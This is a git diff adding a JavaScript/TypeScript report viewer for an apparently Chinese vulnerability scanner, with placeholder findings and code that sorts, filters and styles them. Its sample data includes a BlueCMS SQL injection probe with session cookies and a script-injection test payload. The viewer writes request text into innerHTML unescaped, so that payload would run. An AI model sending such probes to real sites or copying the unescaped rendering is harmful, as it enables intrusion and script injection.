+ "requests": ["GET /bluecms/uploads/user.php?user_name=qweasd%df*×tamp=1664163010594&act=check_user_name HTTP/1.1\nHost: cntj8003.ia.aqlab.cn\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670\nUpgrade-Insecure-Requests: 1\n\na=123",
+ "GET /index.php?&act=check_user_name HTTP/1.1\nHost: abc.ia.aqlab.cn\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670\nUpgrade-Insecure-Requests: 1\n\na=456"]
+ },
+ {
+ "id": 2,
+ "target": "http://www.baidu.com/",
+ "fullUrl": "http://www.baidu.com/qwewqewqewqe",
+ "ftype": "Apache/RCE",
+ "vulnid": "CNVD-2000-3000",
+ "time": "2023-1-4 21:52:42",
+ "requests": ["1"]
+ },
+ {
+ "id": 3,
+ "target": "http://www.baidu.com/",
+ "fullUrl": "http://www.baidu.com/zxcxzc/asd//wqe",
+ "ftype": "Apache/SSRF",
+ "vulnid": "CNVD-2000-4000",
+ "time": "2023-1-4 21:53:46",
+ "requests": ["1"]
+ },
+ {
+ "id": 4,
+ "target": "http://www.abc.com/",
+ "fullUrl": "http://www.abc.com/?asd=1",
+ "ftype": "Spring/SSRF",
+ "vulnid": "CNVD-2000-2323",
+ "time": "2023-1-4 21:58:42",
+ "requests": ["GET /bluecms/uploads/user.php?user_name=qweasd%df*×tamp=1664163010594&act=check_user_name HTTP/1.1\nHost: cntj8003.ia.aqlab.cn\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670\nUpgrade-Insecure-Requests: 1\n\na=123</code></td></tr></tbody></table></li><script>alert(1)</script>//"]
+ },
+ {
+ "id": 5,
+ "target": "http://www.example.com/",
+ "fullUrl": "http://www.example.com/zxcxzsad/asd/index.qwe?id=123",
+ "ftype": "Grafana/FileRead",
+ "vulnid": "CNVD-2021-1000",
+ "time": "2023-1-3 13:58:42",
+ "requests": ["1"]
+ }
+];
+// ! 0.1 预定义通用函数
+// todo 批量添加一个点击事件
+function add_click_each(eLements, tEvent) {
+ /*
+ * params: eLements: 元素数组
+ * params: tEvent: 要添加的事件函数
+ */
+ eLements.forEach(function (item, index) {
+ item.addEventListener("click", tEvent);
+ });
+}
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ! 1. 记录初始样式 / 定义页面样式
+var initHtmlStyle = document.querySelector("style").innerHTML;
+var HtmlStyle = {
+ "default": {},
+ "cerculean": {
+ "backgroundColor": "#ffffff",
+ "a": "#4bb1ea",
+ "ul_li_hover": "#a9b3be",
+ "ul_li_hover_fontColor": "white",
+ "header": "#84b251",
+ "a_hover": "#225384",
+ "border": "#a1b5ca",
+ "fontColor": "#2fa4e7",
+ "style_ul": "#cf3c40",
+ "style_ul_li": "#e16e25",
+ "nav": "#a3d7f4",
+ "main_ul": "#ffffff"
+ },
+ "morph": {
+ "backgroundColor": "#d9e3f1",
+ "a": "#378dfc",
+ "ul_li_hover": "#aaaaaa",
+ "ul_li_hover_fontColor": "white",
+ "header": "#43cc29",
+ "a_hover": "#5a61f4",
+ "border": "#8189f1",
+ "fontColor": "#7e8db9",
+ "style_ul": "#e52527",
+ "style_ul_li": "#ffc107",
+ "nav": "#003f92",
+ "main_ul": "#f0f5fa"
+ },
+ "darkly": {
+ "backgroundColor": "#222222",
+ "a": "#375a7f",
+ "ul_li_hover": "#444444",
+ "ul_li_hover_fontColor": "#ffffff",
+ "header": "#00bc8c",
+ "a_hover": "#3498db",
+ "border": "#2d72a1",
+ "fontColor": "#ffffff",
+ "style_ul": "#e74c3c",
+ "style_ul_li": "#f39c12",
+ "nav": "#375a7f",
+ "main_ul": "#2f2f2f"
+ },
+ "superhero": {
+ "backgroundColor": "#2b3e50",
+ "a": "#4c9be8",
+ "ul_li_hover": "#4e5d6c",
+ "ul_li_hover_fontColor": "#ffffff",
+ "header": "#5cb85c",
+ "a_hover": "#5bc0de",
+ "border": "#4b97b2",
+ "fontColor": "#ffffff",
+ "style_ul": "#d9534f",
+ "style_ul_li": "#f0ad4e",
+ "nav": "#4c9be8",
+ "main_ul": "#32465a"
+ }
+};
+// !! 1.1 建立选择Style的标签
+var classTop = document.querySelector(".top");
+var classTopHtml = "Style";
+for (var _i = 0, _a = Object.entries(HtmlStyle); _i < _a.length; _i++) {
+ var _b = _a[_i], key = _b[0], val = _b[1];
+ classTopHtml += "- " + key + "
";
+}
+classTopHtml += "
";
+classTop.innerHTML = classTopHtml;
+// !! 1.2 给标签绑定 切换样式的事件
+function select_style(event) {
+ var styleName = event.target.textContent; // * 获取样式名称
+ var labelStyle = document.querySelector("style"); // * 获取style标签
+ var style = HtmlStyle[styleName]; // * 根据样式名称 获取定义好的样式
+ labelStyle.innerHTML = initHtmlStyle; // * 初始化样式
+ if (styleName == "default") {
+ return; // * 如果样式名称是default, 则退出, 不需要使用新样式
+ }
+ // todo 页面背景色
+ labelStyle.innerHTML += "html {\n\t\tbackground-color: " + style["backgroundColor"] + ";}\n";
+ // todo 超链接 和 Copy的文字颜色
+ labelStyle.innerHTML += "a,\n\t.right .main .requests table tbody tr td span {\n\t\tcolor: " + style["a"] + ";}\n";
+ // todo 当鼠标移动到ul和li时 的背景色
+ labelStyle.innerHTML += ".left ul:hover,\n\t.left ul li:hover,\n\t.right .main ul:hover,\n\t.right nav ul li:hover {\n\t\tbackground-color: " + style["ul_li_hover"] + ";}\n";
+ labelStyle.innerHTML += ".left ul:hover strong,\n\t.left ul li:hover,\n\t.right .main ul:hover li:not(:last-child),\n\t.right nav ul li:hover {\n\t\tcolor: " + style["ul_li_hover_fontColor"] + ";}\n";
+ // todo 顶部背颜色
+ labelStyle.innerHTML += "header {\n\t\tbackground-color: " + style["header"] + ";}\n";
+ // todo 当鼠标移动到 超链接 和 Copy 时的文字颜色
+ labelStyle.innerHTML += "a:hover,\n\t.right .main .requests table tbody tr td span:hover {\n\t\tcolor: " + style["a_hover"] + ";}\n";
+ // todo 边框颜色
+ labelStyle.innerHTML += "header .top ul li,\n\t.right .main,\n\t.right .main .icon,\n\t.right .main ul,\n\t.right .main .requests table tbody tr td,\n\t.left>ul,\n\t.left>ul:not(:first-child),\n\t.left>ul>strong {\n\t\tborder-color: " + style["border"] + ";}\n";
+ // todo 文字颜色
+ labelStyle.innerHTML += ".left, .right {\n\t\tcolor: " + style["fontColor"] + ";}\n";
+ // todo 切换样式ul的背景色
+ labelStyle.innerHTML += "header .top ul {\n\t\tbackground-color: " + style["style_ul"] + ";}\n";
+ // todo 切换样式ul li的背景色
+ labelStyle.innerHTML += "header .top ul li {\n\t\tbackground-color: " + style["style_ul_li"] + ";}\n";
+ // todo 导航栏颜色
+ labelStyle.innerHTML += ".right nav ul {\n\t\tbackground-color: " + style["nav"] + ";}\n";
+ // todo 内容区背景颜色
+ labelStyle.innerHTML += ".right main ul {\n\t\tbackground-color: " + style["main_ul"] + ";}\n";
+}
+var classTopUlLi = document.querySelectorAll(".top ul li");
+add_click_each(classTopUlLi, select_style);
+// ! 1.3 这是左上角的logo
+var a = "\n ___ _____\n _ _ _ _ | | ____ ____ [_____]\n | \\ / /| | | | | | / ___) / _ ] | |\n \\ \\/ / | (_/ | | |__ ( (___ ( [_] | | |\n \\__/ (____ ]/[_____] \\____) \\____]/ [_]\n";
+var logo = document.querySelector(".logo");
+logo.innerHTML = "" + a + "
";
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ! 2. 排序
+var bool = true; // * 计数器, true升序, false降序
+var noShowList = []; // * 列显示 黑名单
+var noShowTrList = {
+ "target": [],
+ "vulnid": [],
+ "ftype": [],
+ "time": []
+};
+// ! 2.1 数组排序函数
+function sort(arr, dataLeven, bool) {
+ /* 获取数组元素内需要比较的值
+ * params: arr: 需要排序的数组
+ * params: dataLeven: 数组内的需要比较的元素属性
+ * params: bool: 布尔值, true-升序, false-降序
+ */
+ function getValue(option) {
+ if (!dataLeven)
+ return option;
+ var data = option;
+ dataLeven.split('.').filter(function (item) {
+ data = data[item];
+ });
+ return data + '';
+ }
+ arr.sort(function (item1, item2) {
+ if (bool) {
+ return getValue(item1).localeCompare(getValue(item2));
+ }
+ return getValue(item2).localeCompare(getValue(item1));
+ });
+}
+// ! 2.2 排序漏洞数组的内容, 并在页面上重新显示
+function show_sort(event) {
+ /*
+ * 获取用户点击的类名
+ * 对bool取反, 升序与降序切换
+ * 根据类名排序数组
+ * 重新显示漏洞信息
+ */
+ var className = event.target.className;
+ bool = !bool;
+ sort(vulnContent, className, bool);
+ show();
+}
+// ! 2.3 显示漏洞信息内容
+var classNav = document.querySelector(".nav"); // * 获取漏洞标题
+var classMain = document.querySelector(".main"); // * 获取漏洞内容
+function show(noShow, noShowTr) {
+ /*
+ * params: noShow: 列黑名单
+ * params: noShowTr: 行黑名单
+ */
+ if (noShow === void 0) { noShow = noShowList; }
+ if (noShowTr === void 0) { noShowTr = noShowTrList; }
+ var len = Object.keys(vulnTitle[0]).length; // * 获取标题个数
+ var width = "width:" + (96 / len) + "%;"; // * 根据个数计算平均宽度, 100-X=96, X为预留宽度
+ var classNavHtml = ""; // * 标题 起始ul
+ var classMainHtml = ""; // * 内容 起始
+ // todo 遍历漏洞标题, 判断是否在黑名单noShow中, 使用- 生成HTML结构
+ vulnTitle.forEach(function (item, index) {
+ classNavHtml += "
";
+ for (var _i = 0, _a = Object.entries(item); _i < _a.length; _i++) {
+ var _b = _a[_i], key = _b[0], val = _b[1];
+ if (noShow.includes(key)) {
+ continue;
+ }
+ classNavHtml += "- " + val + "
";
+ }
+ classNavHtml += "
"; // * 标题 结束ul
+ });
+ // todo 遍历漏洞内容, 判断是否在黑名单noShowTr中, 使用- 生成HTML结构
+ vulnContent.forEach(function (content_item, content_index) {
+ var i = -1; // * 默认不在黑名单中
+ var _loop_1 = function (key, val) {
+ val.forEach(function (val_item, val_index) {
+ if (!(i + 1)) { // * indexOf在黑名单中查找, 直到找到 (行 黑名单)
+ i = content_item[key].indexOf(val_item);
+ }
+ });
+ };
+ for (var _i = 0, _a = Object.entries(noShowTr); _i < _a.length; _i++) {
+ var _b = _a[_i], key = _b[0], val = _b[1];
+ _loop_1(key, val);
+ }
+ if (i + 1) {
+ // todo 如果在黑名单中, 则不生成该行内容 (行 黑名单)
+ }
+ else {
+ classMainHtml += "
";
+ // todo 查找行中的 某列内容, 是否在黑名单中, 在的话不生成该列 (列 黑名单)
+ var fullUrl = '';
+ for (var _c = 0, _d = Object.entries(content_item); _c < _d.length; _c++) {
+ var _e = _d[_c], key = _e[0], val = _e[1];
+ if (noShow.includes(key)) {
+ continue;
+ }
+ if (key == "id") {
+ classMainHtml += "- +
";
+ classMainHtml += "- ";
+ classMainHtml += val;
+ classMainHtml += "
";
+ }
+ else if (key == "fullUrl") {
+ fullUrl = val;
+ }
+ else if (key == "requests") {
+ classMainHtml += "- ";
+ classMainHtml += "
";
+ classMainHtml += "";
+ classMainHtml += "" + fullUrl + " |
";
+ val.forEach(function (reqValItem, reqValIndex) {
+ classMainHtml += "Request-" + (reqValIndex + 1) + "Copy |
";
+ classMainHtml += "" + reqValItem + " |
";
+ });
+ classMainHtml += "";
+ classMainHtml += "
";
+ classMainHtml += " ";
+ }
+ else {
+ classMainHtml += "- " + val + "
";
+ }
+ }
+ classMainHtml += "
"; // * 内容 结束
+ }
+ });
+ classNav.innerHTML = classNavHtml; // * 标题 应用
+ classMain.innerHTML = classMainHtml; // * 内容 应用
+ // todo 宽度 应用, 获取标题和内容中的所有 - , 应用宽度
+ var classNavLis = document.querySelectorAll(".nav ul li:not(:first-child)");
+ var classMainLis = document.querySelectorAll(".main ul li:not(:last-child):not(:first-child)");
+ var lis = __spreadArrays(classNavLis, classMainLis);
+ lis.forEach(function (item, index) {
+ item.setAttribute("style", width);
+ });
+ // todo 获取标题中的所有
- , 添加点击事件show_sort, 用于内容的 升序和降序
+ var classNavLis_2 = document.querySelectorAll(".nav ul li");
+ add_click_each(classNavLis_2, show_sort);
+ // todo 获取内容中的所有
- , 通过 hide_each 批量绑定和解绑相关事件
+ var classMainLis_2 = document.querySelectorAll(".main ul li:not(:last-child)");
+ hide_each(classMainLis);
+ // todo 获取内容中的Requests显示栏, 为其中的 Copy 添加点击事件, 用于复制Requests的数据包
+ var requestsCopys = document.querySelectorAll(".right .main .requests table tbody tr td span");
+ add_click_each(requestsCopys, requests_copy);
+}
+// todo 复制Requests请求数据包
+function requests_copy(event) {
+ var content_txt = event.target.parentNode.parentNode.nextSibling.textContent; // * 获取文本内容
+ var selBox = document.createElement('textarea');
+ selBox.value = content_txt;
+ document.body.appendChild(selBox); // * 添加一个临时元素
+ // selBox.focus()
+ selBox.select(); // * 选中临时元素
+ document.execCommand('copy'); // * 调用copy
+ document.body.removeChild(selBox); // * 移除临时元素
+ var copy_success = document.createElement("div");
+ copy_success.id = "copy_success";
+ // * 当找不到id为lunbo的控件时
+ if (document.getElementById("copy_success") == null) {
+ // todo 弹窗, 显示“复制成功”, 2000毫秒后删除该弹窗
+ document.body.appendChild(copy_success);
+ copy_success.innerHTML = "复制成功";
+ setTimeout("document.body.removeChild(copy_success)", 2000);
+ }
+}
+// ! 打开文件时, 先对标题 id 进行升序, 然后显示漏洞内容
+sort(vulnContent, 'id', bool);
+show();
+// ! 2.4 显示 或 隐藏Requests
+function show_or_hide_requests(event, show) {
+ if (show === void 0) { show = true; }
+ var parent = event.target.parentNode; // * 获取父元素
+ var requests_li = parent.lastChild; // * 获取Requests
+ var icon_span = parent.firstChild; // * 获取图标
+ var main_li = parent.childNodes; // * 获取所有子元素
+ if (show) {
+ // todo 显示Requests, 将图标改为 - , 使用show_each()批量绑定和解绑相关事件
+ requests_li.setAttribute("style", "display:block;");
+ icon_span.innerText = "-";
+ show_each(main_li);
+ }
+ else {
+ // todo 隐藏Requests, 将图标改为 + , 使用hide_each()批量绑定和解绑相关事件
+ requests_li.setAttribute("style", "display:none;");
+ icon_span.innerText = "+";
+ hide_each(main_li);
+ }
+ // todo Requests不应该有 显示和隐藏 的相关事件, 移除.requests的show和hide
+ var req_li = document.querySelectorAll(".requests");
+ req_li.forEach(function (item, index) {
+ item.removeEventListener("click", show_requests);
+ item.removeEventListener("click", hide_requests);
+ });
+}
+function show_each(main) {
+ /*
+ * 移除show_requests, 添加hide_requests
+ * 点击 main li 之后, 其下的Requests显示, 移除 li 的显示事件, 同时为 li 添加隐藏事件
+ */
+ main.forEach(function (item, index) {
+ item.removeEventListener("click", show_requests);
+ });
+ add_click_each(main, hide_requests);
+}
+function hide_each(main) {
+ /*
+ * 移除hide_requests, 添加show_requests
+ * 点击 main li 之后, 其下的Requests隐藏, 移除 li 的隐藏事件, 同时为 li 添加显示事件
+ */
+ main.forEach(function (item, index) {
+ item.removeEventListener("click", hide_requests);
+ });
+ add_click_each(main, show_requests);
+}
+// todo 以下函数用于中转, 默认传递true显示Requests, 隐藏则是传递false
+function show_requests(event) {
+ show_or_hide_requests(event);
+}
+function hide_requests(event) {
+ show_or_hide_requests(event, false);
+}
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ! 3. 侧边栏
+// todo 增/删 黑名单
+function filter_show(className) {
+ /*
+ * 根据对应的className 添加/移除 黑名单中的元素
+ * 然后重新显示页面内容
+ */
+ var noShowTr = className.split("_"); // * 获取的类名, 以下划线分割为数组
+ var noShows = noShowTrList[noShowTr[0]]; // * 获取对应的黑名单数组
+ var no = noShowTr[1]; // * 黑名单内容
+ if (noShows.includes(no)) {
+ // * 如果在黑名单数组中 找到了对应的内容, 则删除 (移出黑名单)
+ var i = noShows.indexOf(no);
+ if (i + 1) {
+ noShows.splice(i, 1);
+ }
+ }
+ else {
+ // * 如果在黑名单数组中 没有找到对应的内容, 则添加 (加入黑名单)
+ noShows.push(no);
+ }
+ show(); // * 重新显示页面内容
+}
+// todo 生成过滤器
+function create_filter(vulnArr, noCreate) {
+ /*
+ * params: vulnArr: 对哪个数组生成过滤器
+ * params: noCreate: 忽略数组中的某个字段
+ */
+ var filter = [];
+ vulnArr.forEach(function (item, index) {
+ filter[index] = {};
+ for (var _i = 0, _a = Object.entries(item); _i < _a.length; _i++) {
+ var _b = _a[_i], key = _b[0], val = _b[1];
+ if (!noCreate.includes(key)) {
+ filter[index][key] = val;
+ if (key == "ftype") {
+ var f_type = val.split("/");
+ filter[index]["framework"] = f_type[0];
+ filter[index]["type"] = f_type[1];
+ }
+ }
+ }
+ });
+ return filter;
+}
+var vulnTitleFilter = create_filter(vulnTitle, ["id"]); // * 标题过滤器
+var vulnContentFilter = create_filter(vulnContent, ["id", "requests"]); // * 内容过滤器
+// ! 3.1 侧边栏HTML结构, 每个
对应一个标题的过滤器, - 是内容的过滤器
+var leftHtml = "";
+vulnTitleFilter.forEach(function (item, index) {
+ var itemKeyList = [];
+ var _loop_2 = function (key, val) {
+ leftHtml += "
";
+ if (!["framework", "type"].includes(key)) {
+ leftHtml += "";
+ }
+ leftHtml += "" + val + "";
+ // * 一次性 全选/反选 -
+ leftHtml += "
- ";
+ leftHtml += "";
+ leftHtml += "All
";
+ // todo 生成"; // * 侧边栏 结束
+ };
+ for (var _i = 0, _a = Object.entries(item); _i < _a.length; _i++) {
+ var _b = _a[_i], key = _b[0], val = _b[1];
+ _loop_2(key, val);
+ }
+});
+var left = document.querySelector(".left");
+left.innerHTML = leftHtml; // * 获取侧边栏, 应用HTML内容
+// ! 3.2 侧边栏 "列"过滤功能
+// todo 获取left ul中的 第1和第2个元素, 为它们绑定点击事件filter_current_title
+var classLeftUlLi_1 = document.querySelectorAll(".left>ul :nth-child(1)");
+var classLeftUlLi_2 = document.querySelectorAll(".left>ul :nth-child(2)");
+add_click_each(classLeftUlLi_1, filter_current_title);
+add_click_each(classLeftUlLi_2, filter_current_title);
+// todo 标题过滤
+function filter_current_title(event) {
+ var parent = event.target.parentNode; // * 获取父元素
+ var checkbox = parent.firstChild; // * 获取复选框
+ if (event.target.nodeName != "INPUT") {
+ // * 如果鼠标点击的不是, 则需要手动设置相反的值, 以更改选中状态
+ checkbox.checked = !checkbox.checked;
+ }
+ if (checkbox.checked) {
+ // * 如果选中当前标题, 则删除黑名单中的对应值, 让其在内容中 显示
+ var i = noShowList.indexOf(checkbox.className);
+ if (i + 1) {
+ noShowList.splice(i, 1);
+ }
+ }
+ else {
+ // * 如果取消选中当前标题, 将其加入黑名单中, 让其在内容中 隐藏
+ noShowList.push(checkbox.className);
+ }
+ show();
+}
+// ! 3.3 侧边栏 "行"过滤功能
+function filter_current_main(event) {
+ // * 获取.left ul li里的标签
+ if (event.target.nodeName == "INPUT") {
+ var target = event.target;
+ }
+ else {
+ var target = event.target.previousSibling;
+ }
+ filter_show(target.className);
+}
+// todo 获取下拉- , 为其添加点击事件filter_current_main
+var classLeftUlLis_1 = document.querySelectorAll(".left>ul li:not(.all)>input");
+var classLeftUlLis_2 = document.querySelectorAll(".left>ul li:not(.all)>span");
+add_click_each(classLeftUlLis_1, filter_current_main);
+add_click_each(classLeftUlLis_2, filter_current_main);
+// todo 为每个.all添加事件, 用于一次性 选中/反选 其下所有
-
+function select_current_all_li(event) {
+ // * 获取父级
+ var parent = event.target.parentNode;
+ var allInput = parent.firstChild; // * 获取.all input
+ var className = parent.className.replace("all ", "."); // * 获取的类名
+ var current_lis = document.querySelectorAll(className + ":not(.all)");
+ // todo 更改所在ul的所有
- 选中状态, 并将其 添加/移出 黑名单
+ current_lis.forEach(function (item, index) {
+ var itemInput = item.firstChild;
+ if (allInput.checked != itemInput.checked) {
+ filter_show(itemInput.className);
+ itemInput.checked = !itemInput.checked;
+ }
+ });
+}
+var classleftAll_1 = document.querySelectorAll(".left ul .all>input");
+var classleftAll_2 = document.querySelectorAll(".left ul .all>span");
+add_click_each(classleftAll_1, select_current_all_li);
+add_click_each(classleftAll_2, select_current_all_li);
+// ! 3.4 侧边栏
- 的 上卷/下拉 功能
+function show_current_li(event) {
+ // * 获取箭头
+ if (event.target.nodeName == "SPAN") {
+ var target = event.target;
+ }
+ else {
+ var target = event.target.firstChild;
+ }
+ var className = target.className.replace("arrow ", ".left_"); // * 获取箭头的类名
+ var current_lis = document.querySelectorAll(className); // * 根据获取的className, 获取当前ul下面的所有li
+ // todo 更改
- 显示, 并修改箭头样式
+ current_lis.forEach(function (item, index) {
+ if (item.style.display == "block") {
+ // * 如果现在是显示状态, 则改为隐藏
+ item.style.display = "none";
+ target.style.borderColor = "transparent transparent black transparent";
+ }
+ else {
+ // * 如果现在是隐藏状态, 则改为显示
+ item.style.display = "block";
+ target.style.borderColor = "black transparent transparent transparent";
+ }
+ });
+}
+// todo 获取left中的箭头, 添加点击事件show_current_li
+var leftArrow = document.querySelectorAll(".left>ul>i");
+add_click_each(leftArrow, show_current_li);
diff --git a/lib/report/cat.ts b/lib/report/cat.ts
new file mode 100644
index 0000000..dc1585a
--- /dev/null
+++ b/lib/report/cat.ts
@@ -0,0 +1,772 @@
+// ! 0. 漏洞标题和内容
+interface Vul {
+ id: number;
+ target: string;
+ fullUrl: string;
+ ftype: string; // * Framework + Type
+ vulnid: string;
+ time: string;
+ requests: string[];
+}
+
+var vulnTitle = [
+ {
+ "id": "ID",
+ "target": "Target",
+ "ftype": "Framework/Type",
+ "vulnid": "VulnID",
+ "time": "Time"
+ }
+]
+
+var vulnContent: Vul[] = [
+ {
+ "id": 1,
+ "target": "http://cn.bing.com/",
+ "fullUrl": "http://cn.bing.com/asdsadsadsa",
+ "ftype": "ThinkPHP/RCE",
+ "vulnid": "CVE-2022-0202",
+ "time": "2023-1-5 11:18:02",
+ "requests": [`GET /bluecms/uploads/user.php?user_name=qweasd%df*×tamp=1664163010594&act=check_user_name HTTP/1.1
+Host: cntj8003.ia.aqlab.cn
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+Cookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670
+Upgrade-Insecure-Requests: 1
+
+a=123`,
+`GET /index.php?&act=check_user_name HTTP/1.1
+Host: abc.ia.aqlab.cn
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+Cookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670
+Upgrade-Insecure-Requests: 1
+
+a=456`]
+ },
+ {
+ "id": 2,
+ "target": "http://www.baidu.com/",
+ "fullUrl": "http://www.baidu.com/qwewqewqewqe",
+ "ftype": "Apache/RCE",
+ "vulnid": "CNVD-2000-3000",
+ "time": "2023-1-4 21:52:42",
+ "requests": ["1"],
+ },
+ {
+ "id": 3,
+ "target": "http://www.baidu.com/",
+ "fullUrl": "http://www.baidu.com/zxcxzc/asd//wqe",
+ "ftype": "Apache/SSRF",
+ "vulnid": "CNVD-2000-4000",
+ "time": "2023-1-4 21:53:46",
+ "requests": ["1"],
+ },
+ {
+ "id": 4,
+ "target": "http://www.abc.com/",
+ "fullUrl": "http://www.abc.com/?asd=1",
+ "ftype": "Spring/SSRF",
+ "vulnid": "CNVD-2000-2323",
+ "time": "2023-1-4 21:58:42",
+ "requests": [`GET /bluecms/uploads/user.php?user_name=qweasd%df*×tamp=1664163010594&act=check_user_name HTTP/1.1
+Host: cntj8003.ia.aqlab.cn
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+Cookie: detail=1; PHPSESSID=27p9v03t6ifkp7c8pvhde74p02; BLUE[user_id]=20; BLUE[user_name]=qweasd; BLUE[user_pwd]=e9dbeb4e29f78852363f933689af2670
+Upgrade-Insecure-Requests: 1
+
+a=123</code></td></tr></tbody></table></li><script>alert(1)</script>//`],
+ },
+ {
+ "id": 5,
+ "target": "http://www.example.com/",
+ "fullUrl": "http://www.example.com/zxcxzsad/asd/index.qwe?id=123",
+ "ftype": "Grafana/FileRead",
+ "vulnid": "CNVD-2021-1000",
+ "time": "2023-1-3 13:58:42",
+ "requests": ["1"],
+ }
+]
+
+// ! 0.1 预定义通用函数
+
+// todo 批量添加一个点击事件
+function add_click_each(eLements, tEvent) {
+ /*
+ * params: eLements: 元素数组
+ * params: tEvent: 要添加的事件函数
+ */
+
+ eLements.forEach(function (item, index) {
+ item.addEventListener("click", tEvent)
+ })
+}
+
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+
+// ! 1. 记录初始样式 / 定义页面样式
+var initHtmlStyle = document.querySelector("style").innerHTML
+
+var HtmlStyle = {
+ "default": {},
+ "cerculean": {
+ "backgroundColor": "#ffffff",
+ "a": "#4bb1ea",
+ "ul_li_hover": "#a9b3be",
+ "ul_li_hover_fontColor": "white",
+ "header": "#84b251",
+ "a_hover": "#225384",
+ "border": "#a1b5ca",
+ "fontColor": "#2fa4e7",
+ "style_ul": "#cf3c40",
+ "style_ul_li": "#e16e25",
+ "nav": "#a3d7f4",
+ "main_ul": "#ffffff"
+ },
+ "morph": {
+ "backgroundColor": "#d9e3f1",
+ "a": "#378dfc",
+ "ul_li_hover": "#aaaaaa",
+ "ul_li_hover_fontColor": "white",
+ "header": "#43cc29",
+ "a_hover": "#5a61f4",
+ "border": "#8189f1",
+ "fontColor": "#7e8db9",
+ "style_ul": "#e52527",
+ "style_ul_li": "#ffc107",
+ "nav": "#003f92",
+ "main_ul": "#f0f5fa"
+ },
+ "darkly": {
+ "backgroundColor": "#222222",
+ "a": "#375a7f",
+ "ul_li_hover": "#444444",
+ "ul_li_hover_fontColor": "#ffffff",
+ "header": "#00bc8c",
+ "a_hover": "#3498db",
+ "border": "#2d72a1",
+ "fontColor": "#ffffff",
+ "style_ul": "#e74c3c",
+ "style_ul_li": "#f39c12",
+ "nav": "#375a7f",
+ "main_ul": "#2f2f2f"
+ },
+ "superhero": {
+ "backgroundColor": "#2b3e50",
+ "a": "#4c9be8",
+ "ul_li_hover": "#4e5d6c",
+ "ul_li_hover_fontColor": "#ffffff",
+ "header": "#5cb85c",
+ "a_hover": "#5bc0de",
+ "border": "#4b97b2",
+ "fontColor": "#ffffff",
+ "style_ul": "#d9534f",
+ "style_ul_li": "#f0ad4e",
+ "nav": "#4c9be8",
+ "main_ul": "#32465a"
+ }
+}
+
+// !! 1.1 建立选择Style的标签
+var classTop = document.querySelector(".top")
+var classTopHtml = "
Style"
+for (const [key, val] of Object.entries(HtmlStyle)) {
+ classTopHtml += "- " + key + "
"
+}
+classTopHtml += "
"
+classTop.innerHTML = classTopHtml
+
+// !! 1.2 给标签绑定 切换样式的事件
+function select_style(event) {
+ var styleName = event.target.textContent // * 获取样式名称
+ var labelStyle = document.querySelector("style") // * 获取style标签
+ var style = HtmlStyle[styleName] // * 根据样式名称 获取定义好的样式
+ labelStyle.innerHTML = initHtmlStyle // * 初始化样式
